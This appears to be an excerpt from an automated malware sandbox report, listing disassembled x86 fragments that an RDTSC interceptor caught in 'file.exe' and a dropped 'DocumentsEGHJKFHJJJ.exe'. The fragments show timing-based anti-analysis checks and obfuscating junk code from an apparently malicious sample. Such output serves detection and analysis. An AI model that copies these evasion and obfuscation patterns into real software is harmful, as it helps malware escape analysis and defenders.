Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830A9A second address: 5830AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, dword ptr [ebp+08h] 0x0000000b jmp 00007F32DD0C5343h 0x00000010 dec edi 0x00000011 pushad 0x00000012 mov si, A2ABh 0x00000016 push esi 0x00000017 mov si, di 0x0000001a pop edx 0x0000001b popad 0x0000001c lea ebx, dword ptr [edi+01h] 0x0000001f jmp 00007F32DD0C5346h 0x00000024 mov al, byte ptr [edi+01h] 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F32DD0C5347h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830AF9 second address: 5830B23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AF09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ax, dx 0x00000010 mov edx, 3409E71Ah 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830B23 second address: 5830BA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DD0C5340h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b pushad 0x0000000c jmp 00007F32DD0C533Eh 0x00000011 mov ecx, 3802D821h 0x00000016 popad 0x00000017 jne 00007F334CDFD267h 0x0000001d jmp 00007F32DD0C533Ch 0x00000022 mov ecx, edx 0x00000024 pushad 0x00000025 mov dh, al 0x00000027 pushfd 0x00000028 jmp 00007F32DD0C5343h 0x0000002d jmp 00007F32DD0C5343h 0x00000032 popfd 0x00000033 popad 0x00000034 shr ecx, 02h 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F32DD0C5345h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830BA8 second address: 5830C23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F32DCC6AF07h 0x00000008 pushfd 0x00000009 jmp 00007F32DCC6AF08h 0x0000000e add eax, 55DFE008h 0x00000014 jmp 00007F32DCC6AEFBh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d rep movsd 0x0000001f rep movsd 0x00000021 rep movsd 0x00000023 rep movsd 0x00000025 rep movsd 0x00000027 jmp 00007F32DCC6AF06h 0x0000002c mov ecx, edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F32DCC6AF07h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830C23 second address: 5830CB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DD0C5349h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 03h 0x0000000c pushad 0x0000000d mov si, CAD3h 0x00000011 popad 0x00000012 rep movsb 0x00000014 jmp 00007F32DD0C5345h 0x00000019 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000020 jmp 00007F32DD0C533Eh 0x00000025 mov eax, ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a mov bx, 01A0h 0x0000002e pushfd 0x0000002f jmp 00007F32DD0C5349h 0x00000034 add si, E8A6h 0x00000039 jmp 00007F32DD0C5341h 0x0000003e popfd 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830CB0 second address: 5830CB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830CB5 second address: 5830CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edx, si 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ecx, dword ptr [ebp-10h] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 mov ebx, ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830CC7 second address: 5830CD4 instructions: 0x00000000 rdtsc 0x00000002 mov esi, 0465B263h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b mov ebx, ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830CD4 second address: 5830D29 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov dword ptr fs:[00000000h], ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F32DD0C5346h 0x00000018 add eax, 756423D8h 0x0000001e jmp 00007F32DD0C533Bh 0x00000023 popfd 0x00000024 call 00007F32DD0C5348h 0x00000029 pop ecx 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830D29 second address: 5830D49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 9A4Dh 0x00000007 movzx eax, dx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F32DCC6AF00h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830D49 second address: 5830D89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F32DD0C5341h 0x00000008 pushfd 0x00000009 jmp 00007F32DD0C5340h 0x0000000e and si, 12F8h 0x00000013 jmp 00007F32DD0C533Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pop edi 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830D89 second address: 5830D8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830D8D second address: 5830D93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5840086 second address: 584008D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 584008D second address: 58400AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F32DD0C5340h 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58400AB second address: 58400C0 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebx, 1068DCD8h 0x0000000c popad 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58400C0 second address: 58400C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58400C4 second address: 58400DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AF04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58400DC second address: 58400E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58400E2 second address: 58400E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 1189842 second address: 1189848 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 1189848 second address: 118984E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11899B4 second address: 11899E6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F32DD0C5336h 0x00000008 jl 00007F32DD0C5336h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 ja 00007F32DD0C5352h 0x00000016 jmp 00007F32DD0C533Bh 0x0000001b jmp 00007F32DD0C5341h 0x00000020 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11899E6 second address: 1189A1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AF09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F32DCC6AEFCh 0x00000011 jmp 00007F32DCC6AEFBh 0x00000016 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 1189B62 second address: 1189B6F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 1189B6F second address: 1189B77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 1189B77 second address: 1189B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F32DD0C5336h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 118C39E second address: 118C3A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 118C3A2 second address: 118C3A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 118C3A6 second address: 118C3B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 118C3B4 second address: 118C3E1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F32DD0C534Bh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007F32DD0C533Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 118C3E1 second address: 118C3E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 118C3E5 second address: 118C3EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 118C3EB second address: 118C3EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 118C3EF second address: 118C482 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F32DD0C5336h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jmp 00007F32DD0C5349h 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push ecx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e pop ecx 0x0000001f pop eax 0x00000020 push 00000000h 0x00000022 push ebx 0x00000023 call 00007F32DD0C5338h 0x00000028 pop ebx 0x00000029 mov dword ptr [esp+04h], ebx 0x0000002d add dword ptr [esp+04h], 0000001Ch 0x00000035 inc ebx 0x00000036 push ebx 0x00000037 ret 0x00000038 pop ebx 0x00000039 ret 0x0000003a mov esi, dword ptr [ebp+122D3B84h] 0x00000040 push 00000003h 0x00000042 jmp 00007F32DD0C5348h 0x00000047 mov esi, dword ptr [ebp+122D3D34h] 0x0000004d push 00000000h 0x0000004f push 00000003h 0x00000051 mov ecx, edi 0x00000053 push DC32799Dh 0x00000058 push eax 0x00000059 push edx 0x0000005a jno 00007F32DD0C5338h 0x00000060 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 118C482 second address: 118C4CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F32DCC6AF09h 0x00000008 jmp 00007F32DCC6AEFEh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xor dword ptr [esp], 1C32799Dh 0x00000017 mov edi, dword ptr [ebp+122D1DF7h] 0x0000001d lea ebx, dword ptr [ebp+1246125Dh] 0x00000023 mov di, ax 0x00000026 xchg eax, ebx 0x00000027 push ecx 0x00000028 push eax 0x00000029 push edx 0x0000002a push ecx 0x0000002b pop ecx 0x0000002c rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 118C625 second address: 118C638 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F32DD0C5336h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 118C638 second address: 118C63E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 118C7C0 second address: 118C7C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 118C7C4 second address: 118C7D2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F32DCC6AEF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 1180FBB second address: 1180FC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 1180FC1 second address: 1180FD5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jc 00007F32DCC6AEF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F32DCC6AEF6h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11AAF3C second address: 11AAF44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11AAF44 second address: 11AAF49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11AB5B5 second address: 11AB5B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11ABCA3 second address: 11ABCA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11ABCA7 second address: 11ABCB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007F32DD0C533Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11AC4E9 second address: 11AC4ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11AC4ED second address: 11AC4F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11AC8DA second address: 11AC8DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11AC8DF second address: 11AC8E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11AC8E7 second address: 11AC8ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11AC8ED second address: 11AC90B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F32DD0C5343h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11AC90B second address: 11AC911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11AC911 second address: 11AC931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F32DD0C5348h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11AC931 second address: 11AC937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11ACC12 second address: 11ACC16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11ACC16 second address: 11ACC34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F32DCC6AF04h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11ACC34 second address: 11ACC67 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F32DD0C5336h 0x00000008 jmp 00007F32DD0C5349h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F32DD0C533Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11ACC67 second address: 11ACC6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11B1538 second address: 11B153C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11B1656 second address: 11B169A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F32DCC6AEF8h 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f pushad 0x00000010 jmp 00007F32DCC6AF01h 0x00000015 push eax 0x00000016 pop eax 0x00000017 popad 0x00000018 pop eax 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push eax 0x0000001e push edx 0x0000001f push edx 0x00000020 jmp 00007F32DCC6AF05h 0x00000025 pop edx 0x00000026 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11B169A second address: 11B16B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DD0C533Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jnp 00007F32DD0C533Eh 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11B06AD second address: 11B06B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11B3F8A second address: 11B3F9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F32DD0C5336h 0x0000000a jne 00007F32DD0C5336h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11B865D second address: 11B8661 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11B7A07 second address: 11B7A19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DD0C533Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11B7A19 second address: 11B7A46 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F32DCC6AEFCh 0x00000008 js 00007F32DCC6AEFCh 0x0000000e jno 00007F32DCC6AEF6h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 jg 00007F32DCC6AEF8h 0x0000001d push ecx 0x0000001e pushad 0x0000001f popad 0x00000020 pop ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11B7A46 second address: 11B7A4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11B7D48 second address: 11B7D5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F32DCC6AEF6h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11B7EC5 second address: 11B7EF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F32DD0C5336h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 jng 00007F32DD0C5336h 0x00000017 jmp 00007F32DD0C5345h 0x0000001c pop edx 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11B7EF5 second address: 11B7EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11B7EFB second address: 11B7F04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11B7F04 second address: 11B7F23 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F32DCC6AF0Ah 0x00000008 jmp 00007F32DCC6AF02h 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11B8320 second address: 11B8326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11B8326 second address: 11B8350 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AEFAh 0x00000007 jmp 00007F32DCC6AEFAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jl 00007F32DCC6AEF6h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jne 00007F32DCC6AEF6h 0x00000020 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11B8350 second address: 11B835C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11B835C second address: 11B8360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11BB87E second address: 11BB884 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11BB884 second address: 11BB888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11BB888 second address: 11BB88C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
